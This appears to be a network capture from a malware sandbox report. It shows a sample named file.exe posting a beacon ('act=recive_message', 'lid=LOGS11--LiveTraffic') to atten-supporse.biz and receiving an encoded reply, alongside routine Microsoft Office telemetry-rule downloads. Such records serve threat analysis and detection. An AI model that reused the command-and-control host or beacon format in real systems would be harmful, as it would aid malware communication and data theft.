2024-12-01 02:32:22 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-12-01 02:32:22 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-12-01 02:32:22 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-12-01 02:32:22 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49705	172.67.165.166	443	7408	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:22 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-12-01 02:32:22 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-12-01 02:32:23 UTC	1018	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9p4jp0trtbko3u3nhek012kp3k; expires=Wed, 26-Mar-2025 20:19:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tiR07fjGlS0Q0iKnoUyNk5RhxCZS7xRPwONzbZTCJF5TberG%2FEUZqvH%2BRCfXN0M0PATyZscscXNvb%2FwVtBcjZbBqJnWunF3%2FE58377C1ZUcH0bzVk3ZYimuRMZ0M69WxlWOFUYQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8eafaa96996d4205-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1690&min_rtt=1674&rtt_var=659&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=955&delivery_rate=1620421&cwnd=252&unsent_bytes=0&cid=59ec49f16b1dc938&ts=1346&x=0"
2024-12-01 02:32:23 UTC	351	IN	Data Raw: 34 65 35 0d 0a 57 65 46 53 77 2f 65 4d 54 70 58 50 2f 74 6b 32 53 41 63 46 6e 71 45 4a 4c 6e 2b 48 6d 65 69 73 67 32 71 63 42 66 58 56 6e 50 6f 69 77 79 54 68 7a 62 68 69 74 37 79 62 2b 77 77 38 64 58 44 37 6a 53 74 50 47 36 57 6a 6a 73 33 76 47 66 6b 70 31 36 50 78 32 47 4f 48 4d 36 2b 45 36 57 4b 33 71 6f 62 37 44 42 4e 38 4a 2f 76 50 4b 78 52 64 34 76 4f 4b 7a 65 38 49 2f 57 36 61 70 66 43 5a 4d 59 30 31 71 35 4c 76 4b 76 53 6a 6b 37 78 54 4c 57 5a 76 38 4d 68 6b 52 68 4b 6c 74 63 72 4a 2b 55 69 6d 4a 37 69 77 36 4a 73 55 67 43 47 6f 31 66 46 69 37 75 32 62 74 78 52 79 4a 57 54 37 77 32 56 49 47 2b 7a 78 67 4d 54 6e 43 66 68 76 68 62 7a 36 6b 6a 47 44 4e 71 71 59 35 6a 37 35 71 5a 53 33 56 53 64 6d 4a 37 4b 44 62 46 52 64 76 62 76 5a 2f 4f 49 5a 37 33 Data Ascii: 4e5WeFSw/eMTpXP/tk2SAcFnqEJLn+Hmeisg2qcBfXVnPoiwyThzbhit7yb+ww8dXD7jStPG6Wjjs3vGfkp16Px2GOHM6+E6WK3qob7DBN8J/vPKxRd4vOKze8I/W6apfCZMY01q5LvKvSjk7xTLWZv8MhkRhKltcrJ+UimJ7iw6JsUgCGo1fFi7u2btxRyJWT7w2VIG+zxgMTnCfhvhbz6kjGDNqqY5j75qZS3VSdmJ7KDbFRdvbvZ/OIZ73
2024-12-01 02:32:23 UTC	909	IN	Data Raw: 2b 55 34 79 7a 6c 70 5a 65 77 55 54 68 75 62 76 48 4f 61 30 45 58 36 76 69 4b 79 65 73 43 38 57 32 54 75 76 4f 65 4f 34 4e 77 37 39 58 70 4e 4c 66 31 33 4a 68 52 4f 6d 4a 72 36 6f 46 52 44 41 4b 72 34 73 72 4a 37 55 69 6d 4a 35 2b 79 2f 5a 73 77 6a 44 4f 70 6e 76 77 73 35 61 75 52 76 6b 59 73 59 47 6e 32 77 48 6c 47 45 2b 50 34 67 38 58 6f 44 66 6c 6a 31 2f 6d 2b 6e 79 50 44 61 4f 47 30 34 79 66 37 70 34 75 37 46 44 55 72 66 72 7a 45 5a 77 78 46 70 66 2b 4c 79 75 41 4d 38 47 6d 54 75 2f 69 57 4e 6f 77 32 71 35 58 70 4a 76 2b 6c 6e 62 5a 66 4a 57 56 69 38 63 64 74 51 42 7a 67 75 38 53 4f 35 68 43 2b 50 39 65 5a 2b 5a 73 70 77 51 57 69 6d 2b 41 72 34 65 32 44 39 55 31 71 59 6d 75 38 6d 79 74 43 47 4f 72 70 69 39 7a 6b 42 75 78 72 6b 72 48 7a 6d 7a 57 44 4e Data Ascii: +U4yzlpZewUThubvHOa0EX6viKyesC8W2TuvOeO4Nw79XpNLf13JhROmJr6oFRDAKr4srJ7UimJ5+y/ZswjDOpnvws5auRvkYsYGn2wHlGE+P4g8XoDflj1/m+nyPDaOG04yf7p4u7FDUrfrzEZwxFpf+LyuAM8GmTu/iWNow2q5XpJv+lnbZfJWVi8cdtQBzgu8SO5hC+P9eZ+ZspwQWim+Ar4e2D9U1qYmu8mytCGOrpi9zkBuxrkrHzmzWDN
2024-12-01 02:32:23 UTC	1369	IN	Data Raw: 33 66 61 33 0d 0a 69 5a 72 64 66 48 4a 62 6b 49 52 34 50 53 4b 7a 2b 41 47 39 47 7a 58 2b 62 36 66 49 38 4e 6f 34 62 72 6a 50 4f 57 6e 6c 36 6f 57 48 32 5a 70 38 73 52 39 44 41 4b 72 34 73 72 4a 37 55 69 6d 4a 35 79 78 38 70 51 37 68 53 4b 76 6d 76 77 6d 35 61 6d 53 76 31 67 6b 62 47 72 7a 78 6e 6c 49 48 66 66 36 6a 38 6e 76 42 65 78 69 31 2f 6d 2b 6e 79 50 44 61 4f 47 76 32 69 76 6e 76 4a 76 35 59 53 6c 72 61 66 76 56 4b 31 4e 54 2f 4c 75 4e 77 71 46 51 76 6d 53 62 75 76 65 64 4e 4a 45 36 72 5a 54 38 4b 2f 36 6b 6c 72 70 61 4a 57 35 72 2b 64 46 67 51 78 58 71 2b 6f 66 44 36 67 7a 2b 4a 39 6e 33 2b 59 42 37 32 33 43 41 6d 4f 45 2b 39 4c 7a 65 6a 6c 63 6b 61 32 44 71 67 33 51 43 42 4b 58 38 68 6f 36 35 53 50 39 72 6d 37 62 78 6e 6a 47 4c 4d 36 43 48 35 79 Data Ascii: 3fa3iZrdfHJbkIR4PSKz+AG9GzX+b6fI8No4brjPOWnl6oWH2Zp8sR9DAKr4srJ7UimJ5yx8pQ7hSKvmvwm5amSv1gkbGrzxnlIHff6j8nvBexi1/m+nyPDaOGv2ivnvJv5YSlrafvVK1NT/LuNwqFQvmSbuvedNJE6rZT8K/6klrpaJW5r+dFgQxXq+ofD6gz+J9n3+YB723CAmOE+9Lzejlcka2Dqg3QCBKX8ho65SP9rm7bxnjGLM6CH5y
2024-12-01 02:32:23 UTC	1369	IN	Data Raw: 74 56 6f 6a 61 57 2f 77 78 48 6c 42 47 4f 33 78 67 38 76 74 42 66 31 31 6c 4c 61 2b 31 6e 75 45 4b 4f 48 4e 72 67 76 45 6d 72 2f 37 53 32 52 38 4a 2f 76 50 4b 78 52 64 35 50 4f 4e 77 4f 55 61 38 48 57 5a 73 50 36 65 4d 34 73 33 72 5a 76 67 50 76 2b 73 6e 4c 56 62 49 6d 78 6a 2f 63 64 76 51 42 71 6c 74 63 72 4a 2b 55 69 6d 4a 37 2b 30 35 49 4a 35 72 54 75 68 6b 76 34 36 37 4f 32 44 39 55 31 71 59 6d 75 38 6d 79 74 49 46 75 2f 79 69 63 66 6c 42 66 35 75 6d 4c 37 32 6c 54 4f 52 4d 61 75 48 36 69 6e 32 6f 70 61 2f 58 43 5a 71 61 2f 6a 52 59 41 78 54 70 66 79 53 6a 72 6c 49 33 6d 79 42 6c 4f 79 4b 65 35 78 2b 75 4e 58 70 49 4c 66 31 33 4c 4a 59 4b 32 52 74 2b 73 68 75 51 52 33 67 38 59 33 43 34 51 6a 39 59 5a 47 36 39 70 41 33 6a 7a 4f 73 6b 4f 6f 2b 35 61 6d Data Ascii: tVojaW/wxHlBGO3xg8vtBf11lLa+1nuEKOHNrgvEmr/7S2R8J/vPKxRd5PONwOUa8HWZsP6eM4s3rZvgPv+snLVbImxj/cdvQBqltcrJ+UimJ7+05IJ5rTuhkv467O2D9U1qYmu8mytIFu/yicflBf5umL72lTORMauH6in2opa/XCZqa/jRYAxTpfySjrlI3myBlOyKe5x+uNXpILf13LJYK2Rt+shuQR3g8Y3C4Qj9YZG69pA3jzOskOo+5am
2024-12-01 02:32:23 UTC	1369	IN	Data Raw: 6d 67 6e 73 6f 4e 73 56 46 32 39 75 36 33 55 37 41 37 70 64 71 4b 77 2f 73 6c 37 6e 48 36 34 31 65 6b 67 74 2f 58 63 74 6c 67 67 61 47 4c 34 79 32 78 50 48 4f 6e 2f 68 38 50 6c 41 66 70 69 68 61 58 34 6c 6a 75 4d 50 71 36 5a 2f 43 4c 79 72 5a 44 37 47 6d 70 69 66 37 79 62 4b 33 30 4b 35 62 75 56 67 50 68 49 2b 57 76 58 37 37 36 58 4e 70 45 38 72 70 58 76 4c 2f 4f 6d 6d 37 31 53 4b 32 5a 69 2f 38 5a 74 54 52 33 70 38 59 33 47 36 77 62 7a 59 5a 4f 78 2b 4e 68 31 77 7a 65 35 31 62 5a 73 78 61 43 53 73 6c 63 73 61 48 48 55 38 69 74 54 55 2f 79 37 6a 63 4b 68 55 4c 35 6a 6e 4c 2f 79 6e 54 4f 47 4d 61 6d 66 35 69 50 34 76 35 32 30 58 53 31 75 61 76 50 4e 62 6b 49 50 34 76 43 42 78 75 67 47 2b 43 66 5a 39 2f 6d 41 65 39 74 77 6c 35 62 67 4a 2b 61 69 6e 37 63 55 Data Ascii: mgnsoNsVF29u63U7A7pdqKw/sl7nH641ekgt/XctlggaGL4y2xPHOn/h8PlAfpihaX4ljuMPq6Z/CLyrZD7Gmpif7ybK30K5buVgPhI+WvX776XNpE8rpXvL/Omm71SK2Zi/8ZtTR3p8Y3G6wbzYZOx+Nh1wze51bZsxaCSslcsaHHU8itTU/y7jcKhUL5jnL/ynTOGMamf5iP4v520XS1uavPNbkIP4vCBxugG+CfZ9/mAe9twl5bgJ+ain7cU
2024-12-01 02:32:23 UTC	1369	IN	Data Raw: 4b 44 62 46 52 64 76 62 75 37 32 4f 59 50 38 53 57 2b 73 4f 57 5a 4d 59 41 37 72 64 58 78 59 75 37 74 6d 37 63 55 63 69 56 71 38 4d 35 76 58 68 48 6c 2b 34 50 4a 36 78 72 78 61 4a 71 30 2f 70 30 70 67 69 4b 75 6e 75 73 76 38 36 4b 54 74 31 77 67 4a 53 6d 38 78 48 4d 4d 52 61 58 58 69 64 2f 72 53 74 6c 39 67 62 44 79 69 54 43 4f 50 4f 47 4b 6f 44 57 33 71 70 44 37 44 47 70 6c 5a 76 48 52 62 6b 30 58 37 2f 61 43 77 65 51 4e 38 57 4f 54 76 50 43 4b 4e 59 77 77 70 35 37 76 4b 66 53 6d 6c 72 56 64 4f 43 55 70 76 4d 52 7a 44 45 57 6c 30 5a 48 50 37 41 53 38 53 5a 79 68 2b 64 6f 61 6a 54 75 6d 6d 66 68 73 36 4f 4f 46 2b 31 4d 6d 4a 54 2b 38 79 6d 56 41 48 75 4c 7a 67 73 76 68 41 2f 35 6f 6e 62 6e 35 69 6a 47 50 4f 72 4f 61 37 53 48 7a 6f 4a 61 2b 58 54 68 67 62 Data Ascii: KDbFRdvbu72OYP8SW+sOWZMYA7rdXxYu7tm7cUciVq8M5vXhHl+4PJ6xrxaJq0/p0pgiKunusv86KTt1wgJSm8xHMMRaXXid/rStl9gbDyiTCOPOGKoDW3qpD7DGplZvHRbk0X7/aCweQN8WOTvPCKNYwwp57vKfSmlrVdOCUpvMRzDEWl0ZHP7AS8SZyh+doajTummfhs6OOF+1MmJT+8ymVAHuLzgsvhA/5onbn5ijGPOrOa7SHzoJa+XThgb
2024-12-01 02:32:23 UTC	1369	IN	Data Raw: 4d 47 65 6e 34 6a 63 44 75 42 66 46 67 6e 4c 6a 30 6c 69 6d 4d 4e 61 6d 5a 35 69 48 6c 70 35 61 70 58 53 4e 6f 61 66 54 52 61 41 78 54 70 66 79 53 6a 72 6c 49 7a 47 32 55 75 2b 69 56 4e 4d 4d 76 37 34 79 75 4b 2f 76 74 78 50 74 47 4f 47 56 73 2f 4d 52 6c 58 68 7a 74 39 49 44 4f 35 77 50 30 5a 4a 36 7a 38 4a 45 39 67 6a 32 67 6c 4f 34 70 39 36 53 4f 74 68 52 6b 4a 57 44 6b 67 7a 4d 4d 4b 75 6e 77 75 38 33 33 53 4f 45 70 6a 76 66 35 6c 48 76 62 63 4b 43 48 34 79 54 7a 72 5a 47 39 58 79 74 6b 5a 50 7a 44 61 45 77 59 37 76 53 4d 79 65 77 43 39 32 36 46 76 2f 71 4b 4f 34 38 30 34 64 75 75 4b 2b 2f 74 78 50 74 6b 4b 57 35 72 2f 4d 35 2b 44 41 4b 72 34 73 72 4a 37 55 69 6d 4a 35 2b 38 39 5a 34 77 67 44 4f 76 6e 75 51 6a 2b 4b 65 61 76 56 77 76 5a 57 76 38 78 6d Data Ascii: MGen4jcDuBfFgnLj0limMNamZ5iHlp5apXSNoafTRaAxTpfySjrlIzG2Uu+iVNMMv74yuK/vtxPtGOGVs/MRlXhzt9IDO5wP0ZJ6z8JE9gj2glO4p96SOthRkJWDkgzMMKunwu833SOEpjvf5lHvbcKCH4yTzrZG9XytkZPzDaEwY7vSMyewC926Fv/qKO4804duuK+/txPtkKW5r/M5+DAKr4srJ7UimJ5+89Z4wgDOvnuQj+KeavVwvZWv8xm
2024-12-01 02:32:23 UTC	1369	IN	Data Raw: 2f 4d 71 41 6f 51 36 2b 50 38 66 35 76 70 77 71 77 32 6a 78 78 37 56 35 70 50 72 4d 36 55 74 6b 66 43 66 71 67 7a 4d 65 55 36 58 70 79 70 61 68 54 2f 31 31 68 62 48 39 6a 6a 6a 45 44 70 2b 31 35 53 44 30 6f 5a 32 38 46 47 51 6c 61 4c 79 62 55 67 77 65 39 2b 6e 46 33 2f 63 46 37 6d 44 62 76 2b 2b 56 4e 38 4e 2b 34 64 6e 71 4a 2f 75 6f 6d 36 73 62 4f 48 56 73 38 4e 55 6e 53 41 2b 6c 74 63 72 66 36 67 66 73 61 5a 44 34 37 34 34 32 6b 7a 4f 6b 6b 71 49 6b 35 71 43 51 2b 78 70 71 63 47 7a 77 78 57 5a 5a 55 76 54 74 69 64 6a 6d 52 50 5a 32 6d 72 75 2b 70 33 58 44 4b 4f 48 4e 72 68 6e 30 6f 35 4b 38 51 6a 73 6f 52 2f 66 50 61 45 41 63 34 72 76 45 6a 75 64 49 70 6a 54 5a 39 2f 71 4a 65 39 74 67 38 38 36 37 66 36 44 39 7a 71 51 61 4d 79 56 78 76 4a 73 35 41 6c 33 Data Ascii: /MqAoQ6+P8f5vpwqw2jxx7V5pPrM6UtkfCfqgzMeU6XpypahT/11hbH9jjjEDp+15SD0oZ28FGQlaLybUgwe9+nF3/cF7mDbv++VN8N+4dnqJ/uom6sbOHVs8NUnSA+ltcrf6gfsaZD47442kzOkkqIk5qCQ+xpqcGzwxWZZUvTtidjmRPZ2mru+p3XDKOHNrhn0o5K8QjsoR/fPaEAc4rvEjudIpjTZ9/qJe9tg8867f6D9zqQaMyVxvJs5Al3
2024-12-01 02:32:23 UTC	1369	IN	Data Raw: 71 46 50 38 47 71 57 74 50 43 62 4b 5a 45 32 6f 6f 50 74 61 38 6d 54 75 62 5a 5a 4c 32 74 67 77 76 31 4b 52 67 33 6f 39 49 33 77 33 7a 2f 76 59 49 66 31 32 4a 73 74 67 48 44 76 31 66 5a 73 72 2b 32 39 73 55 51 6e 61 6d 43 38 6a 53 74 49 58 62 32 37 72 38 50 73 44 66 42 67 31 5a 62 30 69 44 61 4d 4e 2b 48 62 72 69 43 33 39 64 79 36 58 6a 70 6f 61 50 75 50 62 46 59 61 70 62 58 4b 77 4b 46 51 76 6d 61 64 70 2f 4f 58 50 4d 38 32 72 35 75 75 4d 37 6d 30 33 4b 30 55 63 6a 59 70 76 4e 45 72 46 46 32 69 39 59 66 50 34 67 62 39 64 59 57 78 2f 59 34 34 78 41 36 66 73 4f 4d 68 38 71 4f 62 68 57 6f 4c 62 33 66 78 7a 47 77 4f 50 65 4c 74 69 66 44 66 50 2b 39 67 68 2f 58 59 6d 79 32 41 63 4f 2f 56 39 6d 79 76 37 62 32 78 52 43 64 71 59 4c 37 6a 62 46 6f 65 70 62 58 4b Data Ascii: qFP8GqWtPCbKZE2ooPta8mTubZZL2tgwv1KRg3o9I3w3z/vYIf12JstgHDv1fZsr+29sUQnamC8jStIXb27r8PsDfBg1Zb0iDaMN+HbriC39dy6XjpoaPuPbFYapbXKwKFQvmadp/OXPM82r5uuM7m03K0UcjYpvNErFF2i9YfP4gb9dYWx/Y44xA6fsOMh8qObhWoLb3fxzGwOPeLtifDfP+9gh/XYmy2AcO/V9myv7b2xRCdqYL7jbFoepbXK

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.7	49708	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:24 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:25 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:24 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0a3cdbcf-401e-0016-597f-3f53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023224Z-174f7845968cdxdrhC1EWRg0en000000128g000000008xk6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:25 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.7	49707	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:24 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:25 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: a151f3c8-801e-0048-0451-41f3fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023225Z-174f7845968ljs8phC1EWRe6en000000124000000000c5gx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-01 02:32:25 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49709	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-01 02:32:24 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-01 02:32:25 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 01 Dec 2024 02:32:25 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: dc0e4179-901e-005b-2991-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241201T023225Z-174f78459688l8rvhC1EWRtzr00000000ewg00000000akz4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
